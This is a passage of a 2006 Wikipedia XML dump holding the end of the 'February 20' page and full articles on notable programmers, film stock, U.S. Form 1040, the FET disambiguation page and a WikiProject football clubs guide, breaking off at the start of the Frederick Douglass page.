*[[2000]] - [[Anatoly Sobchak]], Russian politician (b. [[1937]])
*[[2001]] - [[Rosemary DeCamp]], American actress (b. [[1910]])
*[[2003]] - [[Maurice Blanchot]], French author (b. [[1907]])
*2003 - [[Orville Freeman]], American politician (b. [[1918]])
*2003 - [[Harry Jacunski]], American football player
*2003 - [[Ty Longley]], American guitarist ([[Great White|Great White (band)]]) 
*[[2005]] - [[Sandra Dee]], American actress (b. [[1944]])
*2005 - [[John Raitt]], American actor (b. [[1917]])
*2005 - [[Hunter S. Thompson]],  American journalist and author (b. [[1937]])
*2006 - [[Curt Gowdy]],  American sportscaster (b. [[1919]])
&lt;!-- Duplicate instances of years should not be links. --&gt;

==External links==
* [http://news.bbc.co.uk/onthisday/hi/dates/stories/february/20 BBC: On This Day]
* [http://www.nytimes.com/learning/general/onthisday/2006020.html ''The New York Times'': On This Day]
* [http://www1.sympatico.ca/cgi-bin/on_this_day?mth=Feb&amp;day=20 On This Day in Canada]


----

[[February 19]] - [[February 21]] - [[January 20]] - [[March 20]] -- [[historical anniversaries|listing of all days]]

{{months}}

[[af:20 Februarie]]
[[ar:20 فبراير]]
[[an:20 de frebero]]
[[ast:20 de febreru]]
[[bg:20 февруари]]
[[be:20 лютага]]
[[bs:20. februar]]
[[ca:20 de febrer]]
[[ceb:Pebrero 20]]
[[cv:Нарăс, 20]]
[[co:20 di frivaghju]]
[[cs:20. únor]]
[[cy:20 Chwefror]]
[[da:20. februar]]
[[de:20. Februar]]
[[et:20. veebruar]]
[[el:20 Φεβρουαρίου]]
[[es:20 de febrero]]
[[eo:20-a de februaro]]
[[eu:Otsailaren 20]]
[[fo:20. februar]]
[[fr:20 février]]
[[fy:20 febrewaris]]
[[ga:20 Feabhra]]
[[gl:20 de febreiro]]
[[ko:2월 20일]]
[[hr:20. veljače]]
[[io:20 di februaro]]
[[id:20 Februari]]
[[ia:20 de februario]]
[[is:20. febrúar]]
[[it:20 febbraio]]
[[he:20 בפברואר]]
[[jv:20 Februari]]
[[ka:20 თებერვალი]]
[[csb:20 gromicznika]]
[[ku:20'ê reşemiyê]]
[[lt:Vasario 20]]
[[lb:20. Februar]]
[[hu:Február 20]]
[[mk:20 февруари]]
[[ms:20 Februari]]
[[nap:20 'e frevaro]]
[[nl:20 februari]]
[[ja:2月20日]]
[[no:20. februar]]
[[nn:20. februar]]
[[oc:20 de febrièr]]
[[os:20 февралы]]
[[pl:20 lutego]]
[[pt:20 de Fevereiro]]
[[ro:20 februarie]]
[[ru:20 февраля]]
[[se:Guovvamánu 20.]]
[[sco:20 Februar]]
[[sq:20 Shkurt]]
[[scn:20 di frivaru]]
[[simple:February 20]]
[[sk:20. február]]
[[sl:20. februar]]
[[sr:20. фебруар]]
[[fi:20. helmikuuta]]
[[sv:20 februari]]
[[tl:Pebrero 20]]
[[tt:20. Febräl]]
[[te:ఫిబ్రవరి 20]]
[[th:20 กุมภาพันธ์]]
[[vi:20 tháng 2]]
[[tr:20 Şubat]]
[[uk:20 лютого]]
[[wa:20 d' fevrî]]
[[war:Pebrero 20]]
[[zh:2月20日]]
[[pam:Pebreru 20]]</text>
    </revision>
  </page>
  <page>
    <title>List of programmers</title>
    <id>11026</id>
    <revision>
      <id>41726527</id>
      <timestamp>2006-03-01T08:56:21Z</timestamp>
      <contributor>
        <username>Herostratus</username>
        <id>450380</id>
      </contributor>
      <minor />
      <comment>revert vanity entry</comment>
      <text xml:space="preserve">This is a '''list of [[programmer]]s''' notable for their contributions to software, either as original author or architect, or for later additions.

''See also:'' [[Game programmer]], [[List of computer scientists]], [[Free Software authors]]

'''[[#A|A]] - [[#B|B]] - [[#C|C]] - [[#D - F|D - F]] - [[#G - H|G - H]] - [[#I - J|I - J]] - [[#K - L|K - L]] - [[#M|M]] - [[#N - R|N - R]] - [[#S|S]] - [[#T - V|T - V]] - [[#W - Z|W - Z]]'''

__NOTOC__
==A==
*[[Clifford Adams]] - author of the [[UseModWiki]] [[wiki software]]
*[[Leonard Adleman]] - co-inventor of the [[RSA]] algorithm (the ''A'' in the name stands for Adleman), coined the term ''computer virus''
*[[Alfred Aho]] - co-creator of [[AWK programming language]] (the ''A'' in the name stands for Aho)
*[[Paul Allen]] - [[Altair BASIC]], [[Applesoft|Applesoft II BASIC]], co-founded [[Microsoft]]
*[[Eric Allman]] - [[sendmail]], [[syslog]]
*[[Marc Andreessen]] - co-creator of [[Mosaic (web browser)|Mosaic]], co-founder of [[Netscape Communications Corporation|Netscape]]
*[[Bill Atkinson]] - [[QuickDraw]], [[HyperCard]]

==B==
*[[Kailash Balnac]] - Metatag
*[[Richard Bartle]] - [[MUD]], with [[Roy Trubshaw]], the father of MUDs
*[[Donald Becker]] - [[Linux]] [[Ethernet]] drivers, [[Beowulf (computing)|Beowulf]] clustering
*[[Doug Bell]] - [[Dungeon Master (computer game)|Dungeon Master]] series of [[computer game]]s
*[[Tim Berners-Lee|Sir Tim Berners-Lee]] - inventor of the [[World Wide Web]]
*[[Brian Behlendorf]] - [[Apache HTTP Server|Apache]]
*[[Daniel J. Bernstein]] - [[djbdns]], [[qmail]]
*[[Eric Bina]] - co-creator of [[Mosaic (web browser)|Mosaic web browser]]
*[[Deane Blazie]] founder of Blazie Engineering (now part of [[Freedom Scientific]]), created technology for blind people who use [[braille]]
*[[Bert Bos]] - author of [[Argo (web browser)|Argo]] web browser, co-author of [[Cascading Style Sheets]]
*[[David Bradley]] - coder on the [[IBM PC]] project team who wrote the ''Control-Alt-Delete'' keyboard handler, embedded in all PC-compatible [[BIOS|BIOSes]]
*[[Andrew Braybrook]] - video games ''[[Paradroid]]'' and ''[[Uridium]]''
*[[Lawrence M. Breed|Larry Breed]] - co-developer of [[APL programming language|APL\360]]
*[[Dan Bricklin]] - co-creator of [[VisiCalc]], the first personal [[spreadsheet]] program
*[[Sergey Brin]] - co-creator of [[Google]]
*[[Richard Brodie]] - [[Microsoft Word]]
*[[Danielle Bunten Berry]] (Dani Bunten) - [[M.U.L.E.]], multiplayer video game
*[[Jim Button]] - author [[PC-File]] flatfile database; he is considered one of the fathers of [[shareware]]

==C==
*[[Steve Capps]] - co-creator of [[Apple Macintosh|Macintosh]] and [[Apple Newton|Newton]]
*[[John Carmack]] - [[first person shooter]]s ''[[Doom]]'', [[Quake computer game|Quake]]
*[[Vinton Cerf]] - [[TCP/IP]], [[Network Control Program|NCP]]
*[[Steve Chamberlain]] - [[Binary File Descriptor|BFD]], [[Cygwin]]
*[[Alain Colmerauer]] - [[Prolog]]
*[[Mike Cowlishaw]] - [[REXX|REXX and NetRexx]], [[Oxford English Dictionary|LEXX editor]], image processing, [[decimal]] arithmetic packages  
*[[Alan Cooper]] - [[Visual Basic]]
*[[Alan Cox]] - a developer of the [[Linux]] [[Kernel (computers)|kernel]]
*[[Brad Cox]] - [[Objective-C]]
*[[Mark Crispin]] &amp;ndash; inventor of [[IMAP]], author of UW-IMAP, one of the reference implementations of [[IMAP4]]
*[[Ward Christensen]] - Wrote the first BBS (Bulletin Board System)  system CBBS
*[[William Crowther]] - Colossal Cave Adventure 
*[[Ward Cunningham]] - inventor of the [[Wiki|WikiWiki]] concept
*[[Dave Cutler]] - architect of [[Windows NT]], [[Virtual Memory System|VMS]]

==D - F==
*[[James Duncan Davidson]] - creator of [[Jakarta Tomcat|Tomcat]], now part of the [[Jakarta Project]]
*[[L. Peter Deutsch]] - [[Ghostscript]], [[Assembler]] for [[PDP-1]], [[XDS-940]] [[time-sharing|timesharing]] system, [[QED (text editor)|QED]] original co-author
*[[Edsger Dijkstra]] - contributions to [[ALGOL programming language|ALGOL]], [[Dijkstra's algorithm]], ''[[Goto|Go To Statement Considered Harmful]]''
*[[Matt Dillon (computer scientist)|Matt Dillon]], programmer of various software including DICE and [[DragonflyBSD]]
*[[Les Earnest]] - author of the [[Finger protocol|finger]] program
*[[Brendan Eich]] - creator of [[JavaScript]]
*[[Larry Ellison]] - co-creator of [[Oracle database]], co-founder of [[Oracle Corporation]]
*[[Marc Ewing]] - creator of [[Red Hat Linux]]
*[[Stuart Feldman]] - creator of [[make]], author of [[Fortran 77]] compiler, part of original group that created [[Unix]]
*[[Jay Fenlason]] - original [[hack (computer game)|hack]], [[GNU Assembler|GAS]]
*[[David Filo]] - co-creator of [[Yahoo!]]
*[[Andrew Fluegelman]] - author [[PC-Talk]] communications software; he is considered one of the fathers of [[shareware]]
*[[Brian Fox]] - creator of [[Bash]], [[Readline]], [[GNU Finger]], [[Meta-HTML]]
*[[Peter Fraser (programmer)|Peter Fraser]] - [[FRED text editor]]
*[[Jim Fruchterman]] founder of Arkenstone (now part of [[Freedom Scientific]]) created scanners for [[blindness|blind]] people
*[[Dan Farmer]] Creator of [[COPS]] and [[SATAN]] Security Scanners

==G - H==
*[[Bill Gates]] - [[Altair BASIC]], [[Apple II BASIC]], co-founded [[Microsoft]]
*[[John Gilmore (advocate)|John Gilmore]] - [[GDB]]
*[[Adele Goldberg (computer scientist)|Adele Goldberg]] - co-inventor of Smalltalk
*[[James Gosling]] - [[Java programming language|Java]], [[Gosling Emacs]], [[NeWS]]
*[[Bill Gosper]] - [[Macsyma]], [[Lisp machine]], [[hashlife]], helped [[Donald Knuth]] on Vol.2 of [[The Art of Computer Programming]] (Semi-numerical algorithms)
*[[Paul Graham]] - [[Yahoo! Store]], [[On Lisp]], [[ANSI Common Lisp]]
*[[John Graham-Cumming]] - author of [[POPFile]], a [[Bayesian filter]]-based e-mail classifier
*[[Richard Greenblatt]] - [[Lisp machine]], [[Incompatible Timesharing System]], [[MacHack]]
*[[Ralph Griswold]] - co-creator of [[SNOBOL]] and creator of [[Icon programming language]].
*[[Andi Gutmans]] - co-creator of [[PHP]] programming language
*Brian Harvey - UCB Logo, see [[Logo programming language]]
*[[Cecil Hastings]] - wrote the classic ''[[RAND|Approximations for Digital Computers]]'' [[1950s]] formulas for [[sin]], [[cos]], etc.
*[[Anders Hejlsberg]] - [[Turbo Pascal]], [[Delphi programming language|Delphi]], [[C Sharp|C#]]
*[[Ted Henter]] founder of Henter-Joyce (now part of [[Freedom Scientific]]) creator of [[Job Access With Speech|Jaws]], voice software for blind people
*[[Andy Hertzfeld]] - co-creator of [[Apple Macintosh|Macintosh]], co-founder of [[General Magic]], co-founder of [[Eazel]]
*[[C. A. R. Hoare]] - first implementation of [[quicksort]], [[Algol 60]] compiler, [[Communicating sequential processes]]
*[[Joshua Holloway]] - Perl implementation of the MSN Messenger API
*[[Grace Hopper]] - [[Navy Mark I computer]], [[FLOW-MATIC]] (which heavily influenced [[COBOL]])
*[[Dave Hyatt]] - co-author of [[Mozilla Firefox]]

==I - J==
*[[Miguel de Icaza]] - [[GNOME]] project leader, initiator of the [[Mono development platform|Mono]] project
*[[Dan Ingalls]] - co-inventor of [[Smalltalk]], [[Bitblt]], and [[Pop-up Menus]]
*[[Kenneth E. Iverson|Ken Iverson]] - [[APL programming language|APL]], [[J programming language|J]]
*[[Toru Iwatani]] - creator of [[Pac-Man]]
*[[Bo Jangeborg]] - [[ZX Spectrum]] games
*[[Paul Jardetzky]] - author of the server program for the [[Trojan room coffee pot|first webcam]]
*[[Stephen C. Johnson]] - [[yacc]]
*[[Lynne Jolitz]] - [[386BSD]]
*[[William Jolitz]] - [[386BSD]]
*[[Bill Joy]] - [[Berkeley Software Distribution|BSD]], [[vi]]; founded [[Sun Microsystems]]
*[[Robert K. Jung]] - creator of [[ARJ]]

==K - L==
*[[Ted Kaehler]] - co-inventor of Smalltalk
*[[Pavel Kanzelsberger]] - creator of Pixel image editor
*[[Mitch Kapor]] - [[Lotus 1-2-3]], founded [[Lotus Development Corporation]]
*[[Phil Katz]] - creator of the [[ZIP file format]], author of [[PKZIP]]
*[[Mel Kaye]] [http://info.astrian.net/jargon/Hacker_Folklore/The_Story_of_Mel.html], a [[Real Programmer]]
*[[Stan Kelly-Bootle]] - [[Manchester Mark I]], ''[[The Devil's DP Dictionary]]''
*[[Brian Kernighan]] - co-creator of [[AWK programming language]] (the ''K'' in the name stands for Kernighan), author of [[ditroff]] text-formatting tool
*[[Gary Kildall]] - [[CP/M]]
*[[Tom Knight]] - [[Incompatible Timesharing System]]
*[[Donald E. Knuth]] - [[TeX]], [[CWEB]], [[Metafont]], ''[[The Art of Computer Programming]]''
*[[Leslie Lamport]] - [[LaTeX]]
*[[Butler Lampson]] - [[QED (text editor)|QED]] original co-author
*[[Tom Lane]] - primary author of [[libjpeg]], major developer of [[PostgreSQL]]
*[[Richard H. Lathwell|Dick Lathwell]] - co-developer of [[APL programming language|APL\360]]
*[[Greg Lehey]] - FreeBSD developer, originator of the [[Vinum Volume Manager]]
*[[Rasmus Lerdorf]] - original creator of [[PHP]]
*[[Michael Lesk]] - [[Lex]]
*[[Graziano Liberati]] - co-author of [[ZNF]]
*[[Håkon Wium Lie]] - co-author of [[Cascading Style Sheets]]
*[[Robert Love]] - [[Linux kernel]] developer
*[[Ada Lovelace]] - First programmer (of [[Babbage Machine]]s)

==M==
*[[Raphael Manfredi]] - contributions to [[Perl]], software architect and maintainer of [[gtk-gnutella]]
*[[Yukihiro Matsumoto]] - [[Ruby programming language|Ruby]]
*[[John McCarthy (computer scientist)|John McCarthy]] - [[Lisp programming language|Lisp]]
*[[Craig McClanahan]] - original author of [[Jakarta Struts]], architect of [[Tomcat Catalina]] servlet container
*[[Douglas McIlroy]] - [[pipes and filters]], concept of [[software componentry]], [[Unix]] tools (spell, diff, sort, join, graph, speak, tr, etc.)
*[[Marshall Kirk McKusick]] - [[Berkeley Software Distribution|BSD]]
*[[Bertrand Meyer]] - [[Eiffel programming language|Eiffel]], ''[[Object-oriented Software Construction]]'', [[Design by contract]]
*[[Bob Miner]] - co-creator of [[Oracle database]], co-founder of [[Oracle Corporation]]
*[[Jeff Minter]] - Psychedelic, and often [[llama]]-related [[Computer and video games|video games]]
*[[Lou Montulli]] - creator of [[Lynx (browser)|Lynx]] browser, [[HTTP cookie|cookies]], the blink tag, server push and client pull, HTTP proxying, HTTP over SSL, browser integration with animated GIFs, founding member of HTML working group at [[W3C]]
*[[Bram Moolenaar]] - author of text-editor [[Vim (text editor)|Vim]]
*[[David Moon]] - [[Maclisp]], [[ZetaLisp]]
*[[Charles H. Moore]] - inventor of the [[Forth programming language]]
*[[Roger Moore (computer scientist)|Roger Moore]] - co-developer of [[APL programming language|APL\360]], creator of [[IPSANET]], co-founder of [[I. P. Sharp Associates|I.P. Sharp Associates]]
*[[Urban Müller]] - [[Brainfuck]] language
*[[Mike Muuss]] - author of [[Ping|ping]], network tool to detect hosts

==N - R==
*[[Col Needham]] - creator of the [[Internet Movie Database]] (IMDb)
*[[Peter Norton]] - programmer of the famous file manager program, [[Norton Commander]]
*[[Kristen Nygaard]] - [[SIMULA]]
*[[Ed Oates]] - co-creator of [[Oracle database]], co-founder of [[Oracle Corporation]]
*[[Jarkko Oikarinen]] - creator of [[Internet Relay Chat]] (IRC)
*[[Andrew Oliver|Andrew]] and [[Philip Oliver]], The Oliver Twins - Many [[ZX Spectrum]] games including [[Dizzy]]
*[[Lawrence E. Page|Larry Page]] - co-creator of [[Google]]
*[[Seymour Papert]] - [[Logo programming language]]
*[[Tim Paterson]] - [[QDOS]]
*[[Alexey Pajitnov]] - inventor of the game [[Tetris]] on the [[Electronica 60]]
*[[Charles Petzold]] - author of many [[Microsoft Windows]] programming books
*[[Rob Pike]] - Wrote first bitmaped window system for Unix, co-creator of [[UTF-8]] character encoding, author of text editor [[sam (program)|sam]] and programming environment [[acme (Plan 9)|acme]], main author of [[Plan 9 (operating system)|Plan 9]] and [[Inferno (operating system)|Inferno]] operating systems
*[[Theo de Raadt]] - Founding member of [[NetBSD]], founder of [[OpenBSD]] and [[OpenSSH]]
*[[Jef Raskin]] - started the [[Apple Macintosh|Macintosh]] project in [[Apple Computer]], designed [[Canon Cat]] computer, developed [[The Humane Environment]] program
*[[Eric S. Raymond|Eric Raymond]] - [[Open Source movement]], author of [[fetchmail]]
*[[Dennis Ritchie]] - [[C programming language|C]], [[Unix]], [[Plan 9 from Bell Labs]], [[Inferno (operating sytem)|Inferno]]
*[[Ron Rivest]] - co-inventor of the [[RSA]] algorithm (the ''R'' in the name stands for Rivest)
*[[Marc Rochkind]] - SCCS,  see [[SCM]], [[SCM History]] 
*[[Blake Ross]] - co-author of [[Mozilla Firefox]]
*[[Alessandro Rossini]] - co-author of [[ZNF]]
*[[Guido van Rossum]] - [[Python programming language|Python]]
*[[Jeff Rulifson]] - Lead programmer on the [[NLS (computer system)|NLS]] project
*[[Rusty Russell]] - Creator of [[iptables]] for [[linux]]
*[[Steve Russell]] - First [[Lisp programming language|Lisp]] interpreter; original [[Spacewar]] graphic computer game.

==S==
*[[Bill Schelter]] - [[Maxima|GNU Maxima]], [[GNU Common Lisp]]
*[[Randal L. Schwartz]] - [[Just another Perl hacker]]
*[[Ken Silverman]] - creator of [[Duke Nukem 3D]]'s graphics engine
*[[Adi Shamir]] - co-inventor of the [[RSA]] algorithm (the ''S'' in the name stands for Shamir)
*[[Cliff Shaw]] - [[Information Processing Language|IPL]], the first AI language
*[[Charles Simonyi]] - [[Hungarian notation]], [[Microsoft Word]]
*[[Matthew Smith (games programmer)|Matthew Smith]] - [[ZX Spectrum]] games, including [[Manic Miner]] and [[Jet Set Willy]]
*[[Santiago Lizardo Oscares]] - [[Molins]], [[Jerba]], [[GPGEXT]]
*[[Henry Spencer]] - [[C News]], [[Regex]]
*[[Quentin Stafford-Fraser]] - author of the original [[Virtual Network Computing|VNC]] viewer, first Windows VNC server, client program for the [[Trojan room coffee pot|first webcam]]
*[[Richard Stallman]] - [[Emacs]], [[GNU Compiler Collection|GCC]], [[GDB]], founder and pioneer of the [[GNU]] Project, terminal-independent I/O pioneer on [[Incompatible Timesharing System|ITS]], [[Lisp machine]] manual ([[chineual]])
*[[Guy Steele]] - [[Common Lisp]], [[Scheme programming language|Scheme]]
*[[Bjarne Stroustrup]] - [[C++]]
*[[Zeev Suraski]] - co-creator of [[PHP]] programming language
*[[Gerald Jay Sussman]] - [[Scheme programming language|Scheme]]
*[[Tim Sweeney (game developer)|Tim Sweeney]] - [[Unreal|The Unreal engine]], [[UnrealScript]], [[ZZT]]

==T - V==
*[[Andrew Tanenbaum]] - [[Minix]]
*[[Simon Tatham]] - [[NASM]], [[PuTTY]]
*[[Larry Tesler]] - the [[PUB (software)|PUB]] [[markup language]], the [[Smalltalk]] [[code browser|browser]], [[debugger]] and [[object inspector|inspector]], and (with [[Tim Mott]]) the [[Gypsy (software)|Gypsy]] word processor
*[[Avie Tevanian]] - author of the [[Mach kernel]]
*[[Ken Thompson]] - main designer and author of [[Unix]], [[Plan 9 from Bell Labs|Plan 9]] and [[Inferno (operating system)|Inferno]] operating systems, [[B programming language|B]] and Bon programming languages  (precursors of [[C programming language|C]]), inventor of [[UTF-8]] character encoding, introduced [[regular expression]]s in [[QED (text editor)|QED]].
*[[Michael Tiemann]] - [[GNU Compiler Collection|GCC]]
*[[Linus Torvalds]] - original author and current maintainer of the [[Linux]] kernel
*[[Roy Trubshaw]] - [[MUD]] - together with [[Richard Bartle]], the father of MUDs
*[[Andrew Tridgell]] - [[Samba software|Samba]], [[Rsync]]
*[[Wietse Venema]] - [[Postfix]], [[SATAN]], [[TCP Wrapper]]
*[[Paul Vixie]] - [[BIND]], [[Cron]]

==W - Z==
*[[Larry Wall]] - [[warp (computer game)|warp]], [[rn (newsreader)|rn]], [[Patch (computing)|patch]], [[Perl]]
*[[Bob Wallace]] - author [[PC-Write]] word processor; he is considered one of the fathers of [[shareware]]
*[[John Warnock]] - creator of [[PostScript]]
*[[Pei-Yuan Wei]] - author of [[ViolaWWW|Viola]], one of the earliest graphical browsers
*[[Peter Weinberger]] - co-creator of [[AWK programming language]] (the ''W'' in the name stands for Weinberger)
*[[David Wheeler]] - co-inventor of the [[subroutine]]; designer of [[WAKE]]; co-designer of [[Tiny Encryption Algorithm]], [[XTEA]], [[Burrows-Wheeler transform]].  (see http://www.dwheeler.com/dwheeler.html); this refers to several David Wheelers in computing
*[[Arthur Whitney]] - [[A plus|A+]], [[K programming language|K]]
*[[Roberta Williams|Roberta]] and [[Ken Williams (gaming)|Ken Williams]] -- [[Sierra Entertainment]], [[King's Quest]], graphic adventure game
*[[Dave Winer]] &amp;ndash; developed [[XML-RPC]], [[Frontier]] scripting language
*[[Niklaus Wirth]] - [[Pascal programming language|Pascal]], [[Modula-2]], [[Oberon programming language|Oberon]]
*[[Don Woods]] - [[INTERCAL]], [[Colossal Cave Adventure]]
*[[Steve Wozniak]] - [[Breakout]], [[Apple Integer BASIC]], founded [[Apple Computer]] (with [[Steve Jobs]])
*[[Jerry Yang]] - co-creator of [[Yahoo!]]
*[[Jamie Zawinski]] - [[XEmacs|Lucid Emacs]], [[Netscape Navigator|Netscape]], [[Mozilla]], [[XScreenSaver]]

[[Category:Programmers]]
[[Category:Lists of people by occupation|Programmers]]

[[cs:Seznam programátorů]]
[[da:Kendte programmører]]
[[sl:Seznam programerjev]]
[[fi:Luettelo tietokoneohjelmoijista]]</text>
    </revision>
  </page>
  <page>
    <title>Film stock</title>
    <id>11028</id>
    <revision>
      <id>37501179</id>
      <timestamp>2006-01-31T10:58:38Z</timestamp>
      <contributor>
        <username>Melaen</username>
        <id>136864</id>
      </contributor>
      <comment>interwiki: it</comment>
      <text xml:space="preserve">'''Film stock''' is the term for [[photographic film]] on which [[Film|motion pictures]] are shot.

==Classification and properties==
There are several variables in classifying stocks; in practice, one orders raw stock by a code number, based on desired sensitivity to light. 

A piece of film consists of a light-sensitive [[emulsion]] applied to a tough, transparent base, attached to [[anti-halation backing]]. Originally the highly flammable [[Nitrocellulose|cellulose nitrate]], was used. In the [[1930s]], film manufacturers introduced &quot;[[safety film]]&quot; with a cellulose triacetate [[plastic]] base. All amateur film stocks were safety film, but the use of nitrate persisted for professional releases. [[Kodak]] discontinued the manufacture of nitrate base in [[1951]], and the industry transitioned entirely to safety film in [[1951]] in the [[United States]] and by [[1955]] internationally. Since the [[1980s]] a growing number of films have used [[polyester]] film stock.

Chemistry may produce either a positive or negative image. Camera films that produce a positive image are known as [[reversal film]]s. But since negative films are much more commonly used, there are terms based on the steps needed to produce a viewable finished print; one speaks of negatives and positives. There are color and black and white stocks.

Film is also classified according to its width and the arrangement of its sprocket holes&amp;mdash;a range of gauges from [[8mm film|8mm]] to [[70mm film|70mm]] or more, single-perf or double-perf configurations.

Another critical property of a stock is its [[film speed]], determined by [[ASA]] or its  sensitivity to light listed by a measurement on the [[raw stock]] which must be chosen with care. Speed determines the range of lighting conditions under which the film can be shot, and is related to [[film grain|granularity]] and contrast, which influence the look of the image.

Motion picture film is known to be a highly unstable medium: improperly preserved film can deteriorate in a period of time much faster than many [[photograph]]s or other visual presentations.  Owners of home-made films often find that their film can become brittle and unwatchable in the space of a few years.  Decaying film stock gives off an odor similar to that of [[vinegar]], which is why film buffs often refer to such decaying as &quot;[[vinegar syndrome]].&quot;

The distinction between camera stocks and print stocks involves a difference in the recording process. It is possible to transfer video images to film stocks by makeing a [[digital intermediate]], that can be developed and printed in the normal manner. Theater performances have been preserved that way for many years&amp;mdash;the [[1964]] [[New York, New York|New York]] production of ''[[Hamlet]]'' with [[Richard Burton]], for example, was shot on video and printed as a film that was released in [[movie theater]]s (See also: [[Kinescope]]). [[Digital video]] equipment has made this approach easier, and certain movies such as ''[[Timecode (film)|Timecode]]'' ([[2000]]) have been produced that way.

==Reference==
*Ascher, Steve and Edward Pincus. The Filmmaker's Handbook: A Comprehensive Guide for the Digital Age, Penguin Group, 1999. 

==Film Types==
*[[Negative Film]]
*[[Reversal Film]]

==See also==
*[[Film format]]
*[[Film preservation]]

==External links==
* [http://www.kodak.com/US/en/motion/about/chrono1.shtml Kodak's history of film stock] - note: emphasis on Kodak products

[[it:Pellicola cinematografica]]
[[pl:ta&amp;#347;ma filmowa]]</text>
    </revision>
  </page>
  <page>
    <title>Form 1040</title>
    <id>11029</id>
    <revision>
      <id>41662315</id>
      <timestamp>2006-02-28T22:30:59Z</timestamp>
      <contributor>
        <username>Shawnc</username>
        <id>388211</id>
      </contributor>
      <comment>/* External links */ marketwatch article</comment>
      <text xml:space="preserve">The '''Form 1040, U.S. Individual Income Tax Return''', is the starting form for personal Federal [[income tax]] returns filed in the [[United States]].  Any individual U.S. income taxpayer can use Form 1040 (often referred to as the &quot;long form&quot; to distinguish it from the other 1040 variants).  Those with uncomplicated tax situations (for example, no [[itemized deduction]]s, no capital gain or loss, etc.) may be able to use the simplified [[Form 1040A]] (the &quot;short form&quot;) or the even simpler [[Form 1040EZ]] (the &quot;easy form&quot;) instead of Form 1040.  The actual form itself is colored blue (though not the case when tax return software packages are used).

Income tax returns for calendar year taxpayers are due by [[April 15]] of the next year. Should April 15 fall on a Saturday, Sunday, or holiday, the returns are due on the first succeeding day that is not a Saturday, Sunday, or holiday. If [[Patriots Day]] in Massachusetts falls on the Monday in question, then filers in New England have until Tuesday to file. Generally, income tax returns for fiscal year taxpayers (an individual taxpayer may choose a fiscal year other than the calendar year, though this is uncommon) are due on or before the 15th day of the fourth month following the close of the fiscal year (if the 15th falls on a Saturday, Sunday, or holiday, the return must be filed by the next business day).

Form 1040 is truly the &quot;long form.&quot; Form 1040 consists of two full pages not counting attachments.  The first page collects information about the taxpayer(s), dependents, income items, and adjustments to income. The second page calculates the allowable deductions and credits, tax due given the income figure, and applies funds already withheld from wages or estimated payments made towards the tax liability.

Form 1040 has 11 attachments, called &quot;schedules&quot; (Schedules A and B are printed opposite sides of the same sheet) which may need to be filed depending on the taxpayer:

*Schedule A [[Itemized deduction|itemizes allowable deductions]] against income; instead of filling out Schedule A, taxpayers may choose to take a [[standard deduction]] of between $5,000 and $10,000, depending on age and filing status.
*Schedule B enumerates [[interest]] or [[dividend]] income, and is required if either interest or dividends received during the tax year exceed $1,500 from all sources.
*Schedule C lists income and expenses related to self-employment, and is used by sole proprietors. (Schedule C has a smaller version, the C-EZ, which is used for very simple self-employment situations.)
*Schedule D is used to describe [[capital gains]] and losses incurred during the tax year, and to calculate the tax amount due given the special reduced tax rates applied to capital gains.
*Schedule E is used to report income and expenses arising from the rental of real property, royalties, or from pass-through entities (like trusts, estates, partnerships, or [[S corporations]]).
*Schedule EIC is used to document a taxpayer's eligibility for the [[Earned Income Credit]].
*Schedule F is used to report income and expenses related to farming.
*Schedule H is used to report taxes owed due to the employment of household help.
*Schedule J is used when averaging farm income over a period of several years.
*Schedule R is used to calculate the Credit for the Elderly or the Disabled.
*Schedule SE is used to calculate the self-employment tax owed on income from self-employment (such as on a Schedule C or Schedule F, or in a partnership).

In most situations, other [[Internal Revenue Service]] or [[Social Security Administration]] forms such as [[Form W-2]] must be attached to the Form 1040, in addition to the Form 1040 schedules.  There are other, specialized forms which may need to be completed along with Schedules and the Form 1040.

==See also==
* [[Form 1040X]]
* [[Form 1099]]
* [[Taxation in the United States]]

==External links==
* [http://www.irs.gov/ United States Internal Revenue Service] - includes downloadable forms and publications
* [http://www.marketwatch.com/News/Story/2V15Kw0C9KB1KR6hHBdx9fq?siteid=mktw&amp;dist=TNMostRead The Form 1040 lines that lead to the most mistakes - MarketWatch]

[[Category:Internal Revenue Service|1040]]</text>
    </revision>
  </page>
  <page>
    <title>FET</title>
    <id>11030</id>
    <revision>
      <id>28381000</id>
      <timestamp>2005-11-15T08:43:10Z</timestamp>
      <contributor>
        <username>FlaBot</username>
        <id>228773</id>
      </contributor>
      <minor />
      <comment>robot  Adding: ja</comment>
      <text xml:space="preserve">'''FET''' can mean:

* FET, [[field effect transistor]]
* [[Mazda F engine#FET|FET]], a [[Mazda]] [[piston engine]]
* Flaming Eternity
{{TLAdisambig}}

[[de:FET]]
[[ja:FET]]</text>
    </revision>
  </page>
  <page>
    <title>Wikipedia:WikiProject Football clubs</title>
    <id>11032</id>
    <revision>
      <id>30361713</id>
      <timestamp>2005-12-06T17:16:12Z</timestamp>
      <contributor>
        <username>Juyukichi</username>
        <id>296081</id>
      </contributor>
      <minor />
      <comment>+ja</comment>
      <text xml:space="preserve">{{inactive}}
What each wikipedia article on a [[football (soccer)|football]] club should contain.
*Full club name
*The town/city in which they play
*The league in which they currently play
*Stadium information
*Kit colours
*Nicknames
*History
*Famous players
*List of honours
*Official website
*wins and losses

Optimally, the article should also contain brief details relating to how the stadium may be reached by most common modes of transport. (For an example of how this might be done see [[Plymouth Argyle F.C.]]). For smaller clubs, famous or noteworthy supporters might also be worth a mention, but for larger clubs the list may become too unwieldy.

[[Wikipedia:WikiProject Football/Clubs]] is a suggested template to use.

== Infobox ==
{{Football club infobox |
  clubname = Arsenal |
  image    = |
  fullname = Arsenal Football Club |
  nickname = The Gunners |
  founded  = [[1886]] |
  ground   = [[Arsenal Stadium]],&lt;br /&gt;[[Highbury]], [[London]] |
  capacity = 38,500 |
  chairman = [[Peter Hill-Wood]] |
  manager  = [[Arsène Wenger]] |
  league   = [[FA Premier League]] |
  season   = [[FA Premier League 2003-04|2003-04]] |
  position = Premier League, 1st |
  pattern_la1=|pattern_b1=|pattern_ra1=|
  leftarm1=FFFFFF|body1=FF0000|rightarm1=FFFFFF|shorts1=FFFFFF|socks1=FF0000|
  pattern_la2=|pattern_b2=|pattern_ra2=|
  leftarm2=0000AA|body2=0000AA|rightarm2=0000AA|shorts2=0000AA|socks2=0000AA|
}}
See [[Template_talk:Football club infobox]].

[[ja:Wikipedia:ウィキプロジェクト サッカークラブ]]</text>
    </revision>
  </page>
  <page>
    <title>Frederick Douglass</title>
    <id>11033</id>
    <revision>
      <id>42012759</id>
      <timestamp>2006-03-03T05:25:10Z</timestamp>
      <contributor>
        <username>Ccson</username>
        <id>214608</id>
      </contributor>
      <minor />
